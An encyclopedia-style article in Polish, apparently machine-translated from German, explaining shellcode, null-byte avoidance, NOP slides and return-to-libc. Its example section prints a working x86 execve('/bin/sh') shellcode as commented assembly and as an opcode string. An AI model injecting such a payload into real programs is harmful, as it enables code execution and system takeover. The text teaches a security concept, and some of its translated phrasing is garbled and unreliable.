Shellcode

Shellcode jest terminem programistycznym i opisuje przeważnie bardzo małą łatkę instrukcji asemblera przekonwertowanych na opkody , za pomocą których zamierzamy manipulować programem lub systemem lub używać go do nieprzewidzianych celów. Często próbuje uruchomić powłokę , stąd nazwa. Kody szelek wywodzą się z przepełnienia bufora i innych ataków polegających na wstrzyknięciu kodu, ale mogą być również wykorzystywane w oprogramowaniu , zwłaszcza w testach penetracyjnych , w eksperymentach i dydaktyce.

Tworzenie kodów szelek

Aby wygenerować kod powłoki, polecenie do wykonania można napisać w języku C i przetłumaczyć za pomocą kompilatora . Wygenerowany program jest teraz deasemblowany (ponownie przetłumaczony), a funkcjonalność programu przeprogramowana w języku asemblera. Wiele instrukcji można pominąć lub skrócić. W przypadku wielu exploitów kod powłoki nie może zawierać bajtu 0, ponieważ oznacza to koniec łańcucha w C. Ogólnie rzecz biorąc, należy unikać innych przeszkód, na przykład dozwolone są tylko litery i cyfry, zmieniane są duże i małe litery lub należy przestrzegać pewnych przesunięć, co można osiągnąć na przykład wypełniając mniej lub bardziej kreatywne łańcuchy operacji zerowych (tzw. Slajdy NOP ) może być.

Zamiast wykonywania własnego kodu, co nie zawsze jest możliwe (na przykład podczas korzystania z ochrony pamięci ), można również przeskoczyć bezpośrednio do żądanych funkcji, które są dostępne na przykład w samym programie lub w załadowanej bibliotece, takiej jak libc. Ta procedura jest nazywana powrotem do libc .

przykład

Lokalny kod powłoki execve (/ bin / sh)

Kod asemblera (architektura x86):

void main() {
__asm__("
jmp 0x2a            # 3 bytes - springt direkt vor den String
popl %esi           # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax      # 5 bytes - syscall-nummer in eax
movl %esi,%ebx      # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80           # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax     # 5 bytes - exit-interrupt
movl $0x0, %ebx     # 5 bytes - wird vorbereitet
int $0x80           # 2 bytes - interrupt wird ausgelöst
call -0x2f          # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}

Ciąg kodu operacji:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Jednak ten kod nie jest zbyt sprytny, ponieważ zawiera bajty zerowe i jest dość długi. Aby uniknąć „niechcianych znaków”, często używane są kodery, które umożliwiają maskowanie i późniejsze zdemaskowanie tych znaków, a także prawdopodobnie kompresują kod powłoki. Istnieją również inne techniki wyszukiwania adresu łańcucha niż „jmp” lub „call”. Na przykład można po prostu /bin/shwcisnąć stos. Esp zawiera wtedy adres.

literatura

  • Jack Koziol: Podręcznik Shellcodera. Odkrywanie i wykorzystywanie luk w zabezpieczeniach. Wiley, Indianapolis w 2004 r., ISBN 0-7645-4468-3 .
  • Jon Erickson: Zakazany kod. mitp, Bonn 2004, ISBN 3-8266-1457-7 .

linki internetowe

Indywidualne dowody

  1. Źródło: phrack.org ( Memento z 11 lutego 2008 w Internet Archive )